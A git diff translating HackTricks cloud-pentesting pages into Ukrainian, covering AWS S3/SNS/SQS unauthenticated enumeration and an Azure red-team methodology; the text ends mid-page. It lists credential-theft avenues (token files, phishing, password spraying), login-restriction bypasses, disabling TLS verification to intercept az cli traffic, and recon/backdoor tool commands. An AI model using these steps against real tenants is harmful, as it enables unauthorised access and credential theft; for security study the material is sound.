**лише по одному числу за раз**. +Цей інструмент автоматизує процес: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +Ця техніка також працює з URL-адресами API Gateway, URL-адресами Lambda, наборами даних Data Exchange і навіть для отримання значення тегів (якщо ви знаєте ключ тегу). Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** it’s possible to confirm an accountID the bucket belongs to by sending a request like: +### Підтвердження, що бакет належить обліковому запису AWS +Як пояснено в [**цьому блозі**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, якщо у вас є дозволи на перегляд бакету** можливо підтвердити accountID, до якого належить бакет, надіславши запит, як: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` +Якщо помилка є "Доступ заборонено", це означає, що ідентифікатор облікового запису був неправильним. -If the error is an “Access Denied” it means that the account ID was wrong. - -### Used Emails as root account enumeration - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +### Використані електронні адреси для перерахунку кореневих облікових записів +Як пояснено в [**цьому блозі**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), можливо перевірити, чи пов'язана електронна адреса з будь-яким обліковим записом AWS, **спробувавши надати електронній адресі дозволи** на S3 бакет через ACL. Якщо це не викликає помилки, це означає, що електронна адреса є кореневим користувачем якогось облікового запису AWS: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - -## References +## Посилання - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..b2dc93413 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -4,22 +4,18 @@ ## SNS -For more information about SNS check: +Для отримання додаткової інформації про SNS дивіться: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### Відкрито для всіх -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +Коли ви налаштовуєте тему SNS з веб-консолі, ви можете вказати, що **Кожен може публікувати та підписуватися** на тему:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +Отже, якщо ви **знайдете ARN тем** всередині облікового запису (або методом грубої сили потенційні назви тем), ви можете **перевірити**, чи можете ви **публікувати** або **підписуватися** на **них**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..3050be71f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -4,24 +4,18 @@ ## SQS -For more information about SQS check: +Для отримання додаткової інформації про SQS перегляньте: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### Шаблон публічного URL ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` +### Перевірка дозволів -### Check Permissions - -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +Можливо неправильно налаштувати політику черги SQS і надати дозволи всім у AWS на відправку та отримання повідомлень, тому якщо ви отримали ARN черг, спробуйте, чи можете ви отримати до них доступ. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..c1df6575f 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -2,86 +2,85 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація {{#ref}} az-basic-information/ {{#endref}} -## Azure Pentester/Red Team Methodology +## Методологія Azure Pentester/Red Team -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +Щоб провести аудит середовища AZURE, дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні служби Azure та **зовнішні служби** з'єднані. -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +З точки зору Red Team, **перший крок для компрометації середовища Azure** - це отримати деякі **облікові дані** для Azure AD. Ось кілька ідей, як це зробити: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** -- **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- **Витоки** в github (або подібних) - OSINT +- **Соціальна** інженерія +- Повторне використання **паролів** (витоки паролів) +- Вразливості в Azure-розміщених додатках +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) з доступом до метаданих +- **Читання локальних файлів** +- `/home/USERNAME/.azure` +- `C:\Users\USERNAME\.azure` +- Файл **`accessTokens.json`** в `az cli` до 2.30 - січень 2022 - зберігав **токени доступу у відкритому тексті** +- Файл **`azureProfile.json`** містить **інформацію** про увійшого користувача. +- **`az logout`** видаляє токен. +- Старі версії **`Az PowerShell`** зберігали **токени доступу** у **відкритому** тексті в **`TokenCache.dat`**. Він також зберігає **ServicePrincipalSecret** у **відкритому** тексті в **`AzureRmContext.json`**. Команда **`Save-AzContext`** може бути використана для **зберігання** **токенів**.\ +Використовуйте `Disconnect-AzAccount`, щоб видалити їх. +- 3-ті сторони **зламані** +- **Внутрішній** співробітник +- [**Загальний фішинг**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (облікові дані або Oauth App) +- [Фішинг аутентифікації за кодом пристрою](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +Навіть якщо ви **не компрометували жодного користувача** всередині Azure-оренди, яку ви атакуєте, ви можете **зібрати деяку інформацію** з неї: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Після того, як ви змогли отримати облікові дані, вам потрібно знати, **кому належать ці облікові дані**, і **до чого вони мають доступ**, тому вам потрібно виконати деяку базову енумерацію: -## Basic Enumeration +## Базова енумерація > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> Пам'ятайте, що **найгучніша** частина енумерації - це **вхід**, а не сама енумерація. ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +Якщо ви знайшли SSRF на машині всередині Azure, перевірте цю сторінку на трюки: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Bypass Login Conditions +### Обхід умов входу
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +У випадках, коли у вас є деякі дійсні облікові дані, але ви не можете увійти, ось кілька загальних захистів, які можуть бути на місці: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **IP-білий список** -- Вам потрібно зламати дійсний IP +- **Гео обмеження** -- Знайдіть, де живе користувач або де знаходяться офіси компанії, і отримайте IP з того ж міста (або країни принаймні) +- **Браузер** -- Можливо, лише браузер з певної ОС (Windows, Linux, Mac, Android, iOS) дозволений. Дізнайтеся, яку ОС використовує жертва/компанія. +- Ви також можете спробувати **зламати облікові дані Service Principal**, оскільки вони зазвичай менш обмежені, а їх вхід менш перевіряється. -After bypassing it, you might be able to get back to your initial setup and you will still have access. +Після обходу ви можете повернутися до вашої початкової налаштування і все ще мати доступ. -### Subdomain Takeover +### Захоплення піддомену - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/) ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> Дізнайтеся, **як встановити** az cli, AzureAD та Az PowerShell у розділі [**Az - Entra ID**](az-services/az-azuread.md). -One of the first things you need to know is **who you are** (in which environment you are): +Однією з перших речей, які вам потрібно знати, є **хто ви** (в якому середовищі ви знаходитесь): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Одна з найважливіших команд для перерахунку Azure - це **`Get-AzResource`** з Az PowerShell, оскільки вона дозволяє вам **дізнатися про ресурси, які ваш поточний користувач може бачити**. > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> Ви можете отримати ту ж інформацію в **веб-консолі**, перейшовши за посиланням [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) або шукаючи "Усі ресурси". ### ENtra ID Enumeration -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +За замовчуванням будь-який користувач повинен мати **достатньо прав для перерахунку** таких речей, як користувачі, групи, ролі, служби-принципали... (перевірте [стандартні дозволи AzureAD](az-basic-information/#default-user-permissions)).\ +Тут ви можете знайти посібник: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\ +> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.** ## App Service SCM -Kudu console to log in to the App Service 'container'. +Консоль Kudu для входу в 'контейнер' App Service. ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +Використовуйте portal.azure.com і виберіть оболонку, або використовуйте shell.azure.com для bash або powershell. 'Диск' цієї оболонки зберігається як файл зображення в обліковому записі зберігання. ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps відокремлений від Azure. Він має репозиторії, конвеєри (yaml або реліз), дошки, вікі та інше. Групи змінних використовуються для зберігання значень змінних і секретів. ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Використовуючи параметр **`--debug`**, можна побачити всі запити, які інструмент **`az`** надсилає: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Щоб виконати **MitM** для інструменту та **перевірити всі запити**, які він надсилає вручну, ви можете зробити: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## Автоматизовані інструменти розвідки ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..025981f75 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -1,376 +1,372 @@ -# Az - Basic Information +# Az - Основна інформація {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Ієрархія організації

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Management Groups +### Групи управління -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- Вона може містити **інші групи управління або підписки**. +- Це дозволяє **застосовувати контроль управління** такі як RBAC та Azure Policy один раз на рівні групи управління і мати їх **успадкованими** всіма підписками в групі. +- **10,000 груп управління** можуть підтримуватися в одному каталозі. +- Дерево груп управління може підтримувати **до шести рівнів глибини**. Це обмеження не включає кореневий рівень або рівень підписки. +- Кожна група управління та підписка можуть підтримувати **тільки одного батька**. +- Навіть якщо кілька груп управління можуть бути створені, **існує лише 1 коренева група управління**. +- Коренева група управління **містить** всі **інші групи управління та підписки** і **не може бути переміщена або видалена**. +- Усі підписки в межах однієї групи управління повинні довіряти **одному й тому ж орендарю Entra ID.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

-### Azure Subscriptions +### Підписки Azure -- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- Це ще один **логічний контейнер, де можуть бути запущені ресурси** (ВМ, БД…) і за які буде виставлено рахунок. +- Його **батьком** завжди є **група управління** (і це може бути коренева група управління), оскільки підписки не можуть містити інші підписки. +- Він **довіряє лише одному каталогу Entra ID** +- **Дозволи**, застосовані на рівні підписки (або будь-якого з її батьків), **успадковуються** всіма ресурсами всередині підписки -### Resource Groups +### Групи ресурсів -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[З документів:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Група ресурсів є **контейнером**, який містить **пов'язані ресурси** для рішення Azure. Група ресурсів може включати всі ресурси для рішення або лише ті **ресурси, які ви хочете керувати як групою**. Загалом, додавайте **ресурси**, які мають **один життєвий цикл**, до однієї групи ресурсів, щоб ви могли легко розгортати, оновлювати та видаляти їх як групу. -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +Усі **ресурси** повинні бути **всередині групи ресурсів** і можуть належати лише до однієї групи, і якщо група ресурсів видаляється, всі ресурси всередині неї також видаляються.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

-### Azure Resource IDs +### Ідентифікатори ресурсів Azure -Every resource in Azure has an Azure Resource ID that identifies it. +Кожен ресурс в Azure має ідентифікатор ресурсу Azure, який його ідентифікує. -The format of an Azure Resource ID is as follows: +Формат ідентифікатора ресурсу Azure виглядає так: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +Для віртуальної машини з ім'ям myVM у групі ресурсів `myResourceGroup` під підпискою ID `12345678-1234-1234-1234-123456789012`, ідентифікатор ресурсу Azure виглядає так: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## Azure vs Entra ID vs Azure AD Domain Services +## Azure vs Entra ID vs Послуги домену Azure AD ### Azure -Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure є комплексною **хмарною обчислювальною платформою Microsoft, що пропонує широкий спектр послуг**, включаючи віртуальні машини, бази даних, штучний інтелект та зберігання. Вона слугує основою для хостингу та управління додатками, створення масштабованих інфраструктур і виконання сучасних навантажень у хмарі. Azure надає інструменти для розробників та ІТ-фахівців для створення, розгортання та управління додатками та послугами безперешкодно, задовольняючи різноманітні потреби від стартапів до великих підприємств. -### Entra ID (formerly Azure Active Directory) +### Entra ID (раніше Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID є хмарною **послугою управління ідентифікацією та доступом**, призначеною для обробки аутентифікації, авторизації та контролю доступу користувачів. Вона забезпечує безпечний доступ до послуг Microsoft, таких як Office 365, Azure та багатьох сторонніх SaaS-додатків. З функціями, такими як єдине входження (SSO), багатофакторна аутентифікація (MFA) та умовні політики доступу серед інших. -### Entra Domain Services (formerly Azure AD DS) +### Послуги домену Entra (раніше Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Послуги домену Entra розширюють можливості Entra ID, пропонуючи **керовані доменні послуги, сумісні з традиційними середовищами Windows Active Directory**. Вони підтримують застарілі протоколи, такі як LDAP, Kerberos та NTLM, що дозволяє організаціям мігрувати або запускати старі додатки в хмарі без розгортання локальних контролерів домену. Ця служба також підтримує групову політику для централізованого управління, що робить її придатною для сценаріїв, де застарілі або на основі AD навантаження повинні співіснувати з сучасними хмарними середовищами. -## Entra ID Principals +## Принципи Entra ID -### Users +### Користувачі -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact info…) - - Default user type is “**member**” -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is “**Guest**” +- **Нові користувачі** +- Вказати ім'я електронної пошти та домен з вибраного орендаря +- Вказати відображуване ім'я +- Вказати пароль +- Вказати властивості (ім'я, посада, контактна інформація…) +- Тип користувача за замовчуванням - “**член**” +- **Зовнішні користувачі** +- Вказати електронну пошту для запрошення та відображуване ім'я (може бути не Microsoft електронна пошта) +- Вказати властивості +- Тип користувача за замовчуванням - “**Гість**” -### Members & Guests Default Permissions +### Дефолтні дозволи для членів та гостей -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +Ви можете перевірити їх у [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions), але серед інших дій член зможе: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- Читати всіх користувачів, групи, додатки, пристрої, ролі, підписки та їх публічні властивості +- Запрошувати гостей (_може бути вимкнено_) +- Створювати групи безпеки +- Читати неприховані членства груп +- Додавати гостей до власних груп +- Створювати нові додатки (_може бути вимкнено_) +- Додавати до 50 пристроїв до Azure (_може бути вимкнено_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> Пам'ятайте, що для перерахунку ресурсів Azure користувачеві потрібен явний дозвіл. -### Users Default Configurable Permissions +### Дефолтні налаштовувані дозволи для користувачів -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesn’t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **Члени (**[**документи**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- Реєстрація додатків: За замовчуванням **Так** +- Обмежити неадміністративним користувачам створення орендарів: За замовчуванням **Ні** +- Створення груп безпеки: За замовчуванням **Так** +- Обмежити доступ до порталу адміністрування Microsoft Entra: За замовчуванням **Ні** +- Це не обмежує доступ API до порталу (тільки веб) +- Дозволити користувачам підключати робочий або шкільний обліковий запис до LinkedIn: За замовчуванням **Так** +- Показати, щоб користувач залишався підписаним: За замовчуванням **Так** +- Обмежити користувачів від відновлення ключа BitLocker для їхніх власних пристроїв: За замовчуванням Ні (перевірте в налаштуваннях пристрою) +- Читати інших користувачів: За замовчуванням **Так** (через Microsoft Graph) +- **Гості** +- **Обмеження доступу для користувачів-гостей** +- **Користувачі-гості мають такий же доступ, як і члени**, надає всі дозволи користувачів-членів користувачам-гостям за замовчуванням. +- **Користувачі-гості мають обмежений доступ до властивостей та членств об'єктів каталогу (за замовчуванням)** обмежує доступ гостей лише до їхнього власного профілю користувача за замовчуванням. Доступ до інформації про інших користувачів та групи більше не дозволяється. +- **Доступ користувачів-гостей обмежений до властивостей та членств їхніх власних 